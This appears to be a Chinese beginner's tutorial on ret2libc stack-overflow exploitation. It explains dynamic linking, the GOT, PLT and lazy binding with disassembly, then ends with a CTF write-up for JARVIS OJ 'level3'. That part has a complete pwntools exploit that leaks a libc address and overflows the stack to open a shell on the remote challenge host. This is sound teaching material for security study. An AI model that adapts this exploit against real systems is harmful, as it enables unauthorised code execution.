PWN菜雞入門之棧溢出 (2)—— ret2libc與動態鏈接庫的關系
準備知識引用自https://www.freebuf.com/articles/rookie/182894.html
0×01 利用思路
ret2libc 這種攻擊方式主要是針對 動態鏈接(Dynamic linking) 編譯的程序,
因為正常情況下是無法在程序中找到像 system() 、execve() 這種系統級函數
(如果程序中直接包含了這種函數就可以直接控制返回地址指向他們,而不用通過這種麻煩的方式)。
因為程序是動態鏈接生成的,所以在程序運行時會調用 libc.so (程序被裝載時,動態鏈接器會將程序所有所需的動態鏈接庫加載至進程空間,libc.so 就是其中最基本的一個)
libc.so 是 linux 下 C 語言庫中的運行庫glibc 的動態鏈接版,並且 libc.so 中包含了大量的可以利用的函數,
包括 system() 、execve() 等系統級函數,我們可以通過找到這些函數在內存中的地址覆蓋掉返回地址來獲得當前進程的控制權。
通常情況下,我們會選擇執行 system(“/bin/sh”) 來打開 shell, 如此就只剩下兩個問題:
1、找到 system() 函數的地址;
2、在內存中找到 “/bin/sh” 這個字符串的地址。
0×02 什麽是動態鏈接(Dynamic linking)
動態鏈接 是指在程序裝載時通過 動態鏈接器 將程序所需的所有 動態鏈接庫(Dynamic linking library) 裝載至進程空間中( 程序按照模塊拆分成各個相對獨立的部分),
當程序運行時才將他們鏈接在一起形成一個完整程序的過程。它誕生的最主要的的原因就是 靜態鏈接 太過於浪費內存和磁盤的空間,並且現在的軟件開發都是模塊化開發,
不同的模塊都是由不同的廠家開發,在 靜態鏈接 的情況下,一旦其中某一模塊發生改變就會導致整個軟件都需要重新編譯,
而通過 動態鏈接 的方式就推遲這個鏈接過程到了程序運行時進行。這樣做有以下幾點好處:
1、節省內存、磁盤空間
例如磁盤中有兩個程序,p1、p2,且他們兩個都包含 lib.o 這個模塊,在 靜態鏈接
當這兩個程序運行時,內存中同樣也就包含了這兩個相同的模塊,這也就使得內存空間被浪費。當系統中包含大量類似 lib.o 這種被多個程序共享的模塊時,也就會造成很大空間的浪費。
在 動態鏈接 的情況下,運行 p1 ,當系統發現需要用到 lib.o ,就會接著加載 lib.o 。
這時我們運行 p2 ,就不需要重新加載 lib.o 了,因為此時 lib.o 已經在內存中了,系統僅需將兩者鏈接起來,此時內存中就只有一個 lib.o 節省了內存空間。
2、程序更新更簡單
比如程序 p1 所使用的 lib.o 是由第三方提供的,等到第三方更新、或者為 lib.o 打補丁的時候,p1 就需要拿到第三方最新更新的 lib.o ,重新鏈接後在將其發布給用戶。
程序依賴的模塊越多,就越發顯得不方便,畢竟都是從網絡上獲取新資源。在 動態鏈接 的情況下,第三方更新 lib.o 後,
理論上只需要覆蓋掉原有的 lib.o ,就不必重新鏈接整個程序,在程序下一次運行時,新版本的目標文件就會自動裝載到內存並且鏈接起來,就完成了升級的目標。
3、增強程序擴展性和兼容性
動態鏈接 的程序在運行時可以動態地選擇加載各種模塊,也就是我們常常使用的插件。
軟件的開發商開發某個產品時會按照一定的規則制定好程序的接口,其他開發者就可以通過這種接口來編寫符合要求的動態鏈接文件,
以此來實現程序功能的擴展。增強兼容性是表現在 動態鏈接 的程序對不同平臺的依賴差異性降低,比如對某個函數的實現機制不同,
如果是 靜態鏈接 的程序會為不同平臺發布不同的版本,而在 動態鏈接 的情況下,只要不同的平臺都能提供一個動態鏈接庫包含該函數且接口相同,就只需用一個版本了。
總而言之,動態鏈接 的程序在運行時會根據自己所依賴的 動態鏈接庫 ,通過 動態鏈接器 將他們加載至內存中,並在此時將他們鏈接成一個完整的程序。
Linux 系統中,ELF 動態鏈接文件被稱為 動態共享對象(Dynamic Shared Objects) , 簡稱 共享對象 一般都是以 “.so” 為擴展名的文件;
在 windows 系統中就是常常軟件報錯缺少 xxx.dll 文件。
0×03 GOT (Global offset Table)
了解完 動態鏈接 ,會有一個問題:共享對象 在被裝載時,如何確定其在內存中的地址?
下面簡單的介紹一下,要使 共享對象 能在任意地址裝載就需要利用到 裝載時重定位 的思想,即在鏈接時對所有的絕對地址的引用不做重定位而將這一步推遲到裝載時再完成,
一旦裝載模塊確定,系統就對所有的絕對地址引用進行重定位。但是隨之而來的問題是,指令部分無法在多個進程之間共享,
這又產生了一個新的技術 地址無關代碼 (PIC,Position-independent Code),該技術基本思想就是將指令中需要被修改的部分分離出來放在數據部分
,這樣就能保證指令部分不變且數據部分又可以在進程空間中保留一個副本,也就避免了不能節省空間的情況。那麽重新定位後的程序是怎麽進行數據訪問和函數調用的呢?下面用實際代碼驗證 :
編寫兩個模塊,一個是程序自身的代碼模塊,另一個是共享對象模塊。以此來學習動態鏈接的程序是如何進行模塊內、模塊間的函數調用和數據訪問,共享文件如下:
got_extern.c ? #include <stdio.h> ? int b; ? void test() { printf("test\n"); }
編譯成32位共享對象文件:
gcc got_extern.c -fPIC -shared -m32 -o got_extern.so
-fPIC 選項是生成地址無關代碼的代碼,gcc 中還有另一個 -fpic 選項,差別是fPIC產生的代碼較大但是跨平臺性較強而fpic產生的代碼較小,且生成速度更快但是在不同平臺中會有限制。一般會采用fPIC選項
-shared 選項是生成共享對象文件
-m32 選項是編譯成32位程序
-o 選項是定義輸出文件的名稱
編寫的代碼模塊:
got.c #include <stdio.h> ? static int a; extern int b; extern void test(); ? int fun() { a = 1; b = 2; } ? int main(int argc, char const *argv[]) { fun(); test(); printf("hey!"); ? return 0; }
和共享模塊一同編譯:
gcc got.c ./got_extern.so -m32 -o got
用 objdump 查看反匯編代碼 objdump -D -Mintel got:
000011b9 <fun>: 11b9: 55 push ebp 11ba: 89 e5 mov ebp,esp 11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax> 11c1: 05 3f 2e 00 00 add eax,0x2e3f 11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1 11cd: 00 00 00 11d0: 8b 80 ec ff ff ff mov eax,DWORD PTR [eax-0x14] 11d6: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2 11dc: 90 nop 11dd: 5d pop ebp 11de: c3 ret ? 000011df <main>: 11df: 8d 4c 24 04 lea ecx,[esp+0x4] 11e3: 83 e4 f0 and esp,0xfffffff0 11e6: ff 71 fc push DWORD PTR [ecx-0x4] 11e9: 55 push ebp 11ea: 89 e5 mov ebp,esp 11ec: 53 push ebx 11ed: 51 push ecx 11ee: e8 cd fe ff ff call 10c0 <__x86.get_pc_thunk.bx> 11f3: 81 c3 0d 2e 00 00 add ebx,0x2e0d 11f9: e8 bb ff ff ff call 11b9 <fun> 11fe: e8 5d fe ff ff call 1060 <test@plt> 1203: 83 ec 0c sub esp,0xc 1206: 8d 83 08 e0 ff ff lea eax,[ebx-0x1ff8] 120c: 50 push eax 120d: e8 2e fe ff ff call 1040 <printf@plt> 1212: 83 c4 10 add esp,0x10 1215: b8 00 00 00 00 mov eax,0x0 121a: 8d 65 f8 lea esp,[ebp-0x8] 121d: 59 pop ecx 121e: 5b pop ebx 121f: 5d pop ebp 1220: 8d 61 fc lea esp,[ecx-0x4] 1223: c3 ret
1、模塊內部調用
main()函數中調用 fun()函數 ,指令為:
11f9: e8 bb ff ff ff call 11b9 <fun>
fun() 函數所在的地址為 0x000011b9 ,機器碼 e8 代表 call 指令,為什麽後面是 bb ff ff ff 而不是 b9 11 00 00 (小端存儲)呢?
這後面的四個字節代表著目的地址相對於當前指令的下一條指令地址的偏移,即 0x11f9 + 0×5 + (-69) = 0x11b9 ,
0xffffffbb 是 -69 的補碼形式,這樣做就可以使程序無論被裝載到哪裏都會正常執行。
2、模塊內部數據訪問
ELF 文件是由很多很多的 段(segment) 所組成,常見的就如 .text (代碼段) 、.data(數據段,存放已經初始化的全局變量或靜態變量)、
.bss(數據段,存放未初始化全局變量)等,這樣就能做到數據與指令分離互不幹擾。在同一個模塊中,
一般前面的內存區域存放著代碼後面的區域存放著數據(這裏指的是 .data 段)。那麽指令是如何訪問遠在 .data 段 中的數據呢?
觀察 fun() 函數中給靜態變量 a 賦值的指令:
11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax> 11c1: 05 3f 2e 00 00 add eax,0x2e3f 11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1 11cd: 00 00 00
從上面的指令中可以看出,它先調用了 __x86.get_pc_thunk.ax() 函數:
00001224 <__x86.get_pc_thunk.ax>: 1224: 8b 04 24 mov eax,DWORD PTR [esp] 1227: c3 ret
這個函數的作用就是把返回地址的值放到 eax 寄存器中,也就是把0x000011c1保存到eax中,然後再加上 0x2e3f ,最後再加上 0×24 。
即 0x000011c1 + 0x2e3f + 0×24 = 0×4024,這個值就是相對於模塊加載基址的值。通過這樣就能訪問到模塊內部的數據。
3、模塊間數據訪問
變量 b 被定義在其他模塊中,其地址需要在程序裝載時才能夠確定。利用到前面的代碼地址無關的思想,把地址相關的部分放入數據段中,
然而這裏的變量 b 的地址與其自身所在的模塊裝載的地址有關。解決:ELF 中在數據段裏面建立了一個指向這些變量的指針數組,
也就是我們所說的 GOT 表(Global offset Table, 全局偏移表 ),它的功能就是當代碼需要引用全局變量時,可以通過 GOT 表間接引用。
查看反匯編代碼中是如何訪問變量 b 的:
11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax> 11c1: 05 3f 2e 00 00 add eax,0x2e3f 11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1 11cd: 00 00 00 11d0: 8b 80 ec ff ff ff mov eax,DWORD PTR [eax-0x14] 11d6: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2
計算變量 b 在 GOT 表中的位置,0x11c1 + 0x2e3f – 0×14 = 0x3fec ,查看 GOT 表的位置。
命令 objdump -h got ,查看ELF文件中的節頭內容:
21 .got 00000018 00003fe8 00003fe8 00002fe8 2**2
CONTENTS, ALLOC, LOAD, DATA
這裏可以看到 .got 在文件中的偏移是 0x00003fe8,現在來看在動態連接時需要重定位的項,使用 objdump -R got 命令
00003fec R_386_GLOB_DAT b
可以看到變量b的地址需要重定位,位於0x00003fec,在GOT表中的偏移就是4,也就是第二項(每四個字節為一項),這個值正好對應之前通過指令計算出來的偏移值。
4、模塊間函數調用
模塊間函數調用用到了延遲綁定,都是函數名@plt的形式,後面再說
11fe: e8 5d fe ff ff call 1060 <test@plt>
0×04 延遲綁定(Lazy Binding) && PLT(Procedure Linkage Table)
因為 動態鏈接 的程序是在運行時需要對全局和靜態數據訪問進行GOT定位,然後間接尋址。
同樣,對於模塊間的調用也需要GOT定位,再才間接跳轉,這麽做勢必會影響到程序的運行速度。
而且程序在運行時很大一部分函數都可能用不到,於是ELF采用了當函數第一次使用時才進行綁定的思想,也就是我們所說的 延遲綁定。
ELF實現 延遲綁定 是通過 PLT ,原先 GOT 中存放著全局變量和函數調用,現在把他拆成另個部分 .got 和 .got.plt
,用 .got 存放著全局變量引用,用 .got.plt 存放著函數引用。查看 test@plt 代碼,用 objdump -Mintel -d -j .plt got
-Mintel 選項指定 intel 匯編語法 -d 選項展示可執行文件節的匯編形式 -j 選項後面跟上節名,指定節
00001060 <test@plt>: 1060: ff a3 14 00 00 00 jmp DWORD PTR [ebx+0x14] 1066: 68 10 00 00 00 push 0x10 106b: e9 c0 ff ff ff jmp 1030 <.plt>
查看 main()函數 中調用 test@plt 的反匯編代碼
11ee: e8 cd fe ff ff call 10c0 <__x86.get_pc_thunk.bx> 11f3: 81 c3 0d 2e 00 00 add ebx,0x2e0d 11f9: e8 bb ff ff ff call 11b9 <fun> 11fe: e8 5d fe ff ff call 1060 <test@plt>
x86.gett_pc_thunk.bx 函數與之前的 x86.get_pc_thunk.ax 功能一樣 ,得出 ebx = 0x11f3 + 0x2e0d = 0×4000 ,ebx + 0×14 = 0×4014 。首先 jmp 指令,跳轉到 0×4014 這個地址,這個地址在 .got.plt 節中 :
也就是當程序需要調用到其他模塊中的函數時例如 fun() ,就去訪問保存在 .got.plt 中的 fun@plt 。
這裏有兩種情況,第一種就是第一次使用這個函數,這個地方就存放著第二條指令的地址,也就相當於什麽都不做。
用 objdump -d -s got -j .got.plt 命令查看節中的內容
-s 參數顯示指定節的所有內容
4014 處存放著 66 10 00 00 ,因為是小端序所以應為 0×00001066,這個位置剛好對應著 push 0×10 這條指令,這個值是 test 這個符號在 .rel.plt 節中的下標。繼續 jmp 指令跳到 .plt 處
push DWORD PTR [ebx + 0x4] 指令是將當前模塊ID壓棧,也就是 got.c 模塊,接著 jmp DWORD PTR [ebx + 0x8] ,
這個指令就是跳轉到 動態鏈接器 中的 dl_runtime_resolve 函數中去。
這個函數的作用就是在另外的模塊中查找需要的函數,就是這裏的在 got_extern.so 模塊中的 test 函數。
然後dl_runtime_resolve函數會將 test() 函數的真正地址填入到 test@got 中去也就是 .got.plt 節中。那麽第二種情況就是,當第二次調用test()@plt 函數時,就會通過第一條指令跳轉到真正的函數地址。
整個過程就是所說的通過 plt 來實現 延遲綁定 。程序調用外部函數的整個過程就是,第一次訪問 test@plt 函數時,
動態鏈接器就會去動態共享模塊中查找 test 函數的真實地址然後將真實地址保存到test@got中(.got.plt);
第二次訪問test@plt時,就直接跳轉到test@got中去。
0×05 JARVIS OJ LEVEL3
cjx@ubuntu:~$ checksec ‘/home/cjx/Desktop/level3‘
[*] ‘/home/cjx/Desktop/level3‘
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
?
開啟了堆棧不可執行
首先寫腳本之前應做好準備工作,比如readelf把so文件中幾個關鍵函數和字符串搜一遍
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "read@" 571: 000daf60 125 FUNC WEAK DEFAULT 12 __read@@GLIBC_2.0 705: 0006f220 50 FUNC GLOBAL DEFAULT 12 _IO_file_read@@GLIBC_2.0 950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0 1166: 000e0c40 1461 FUNC GLOBAL DEFAULT 12 fts_read@@GLIBC_2.0 1263: 000ec390 46 FUNC GLOBAL DEFAULT 12 eventfd_read@@GLIBC_2.7 1698: 000643a0 259 FUNC WEAK DEFAULT 12 fread@@GLIBC_2.0 2181: 000c3030 204 FUNC WEAK DEFAULT 12 pread@@GLIBC_2.1 2300: 000643a0 259 FUNC GLOBAL DEFAULT 12 _IO_fread@@GLIBC_2.0 root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "system@" 620: 00040310 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE 1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "exit@" 111: 00033690 58 FUNC GLOBAL DEFAULT 12 __cxa_at_quick_exit@@GLIBC_2.10 139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0 554: 000b5f24 24 FUNC GLOBAL DEFAULT 12 _exit@@GLIBC_2.0 609: 0011c2a0 56 FUNC GLOBAL DEFAULT 12 svc_exit@@GLIBC_2.0 645: 00033660 45 FUNC GLOBAL DEFAULT 12 quick_exit@@GLIBC_2.10 868: 00033490 84 FUNC GLOBAL DEFAULT 12 __cxa_atexit@@GLIBC_2.1.3 1037: 00126800 60 FUNC GLOBAL DEFAULT 12 atexit@GLIBC_2.0 1492: 000f9160 62 FUNC GLOBAL DEFAULT 12 pthread_exit@@GLIBC_2.0 2243: 00033290 77 FUNC WEAK DEFAULT 12 on_exit@@GLIBC_2.0 2386: 000f9cd0 2 FUNC GLOBAL DEFAULT 12 __cyg_profile_func_exit@@GLIBC_2.2 root@kali:~/Desktop/Pwn/level3# strings -a -t x ./libc-2.19.so | grep "/bin/sh" 16084c /bin/sh
篩選之後得到
950: 000daf60 125 FUNC WEAK DEFAULT 12 read
思路
Step1:通過vulnerable_function中的read構造棧溢出,並且覆寫返回地址為plt中write的地址
Step2:通過write泄露出read在內存中的絕對地址,並且接著調用vulnerable_function(PS:got中的read保存著read在內存中的真實地址)
Step3:計算出system和/bin/sh的絕對地址,再通過vulnerable_function構造棧溢出進行覆寫
同時也可以通過IDA來搜索
編寫EXP:
from pwn import * r=remote(‘pwn2.jarvisoj.com‘,9879) e=ELF(‘./level3‘) plt_write=hex(e.plt[‘write‘]) got_read=hex(e.got[‘read‘]) vulfuncadr=hex(e.symbols[‘vulnerable_function‘]) plt_write_args=p32(0x01)+p32(int(got_read,16))+p32(0x04) #調用順序:func1_address+func2_adress+……+func1_argslist+func2_argslist+…… payload1=‘A‘*(0x88+0x4)+p32(int(plt_write,16))+p32(int(vulfuncadr,16))+plt_write_args r.recv() r.send(payload1) readadr=hex(u32(r.recv()))#泄露read絕對地址 # 950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0 # 1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 # 139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0 # 16084c /bin/sh libc_read=0x000DAF60 offset=int(readadr,16)-libc_read #計算偏移量 sysadr=offset+0x00040310 #system絕對地址 xitadr=offset+0x00033260 #exit絕對地址 bshadr=offset+0x0016084C #binsh絕對地址 payload2=‘A‘*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bshadr) r.send(payload2) r.interactive() ?
PWN菜雞入門之棧溢出 (2)—— ret2libc與動態鏈接庫的關系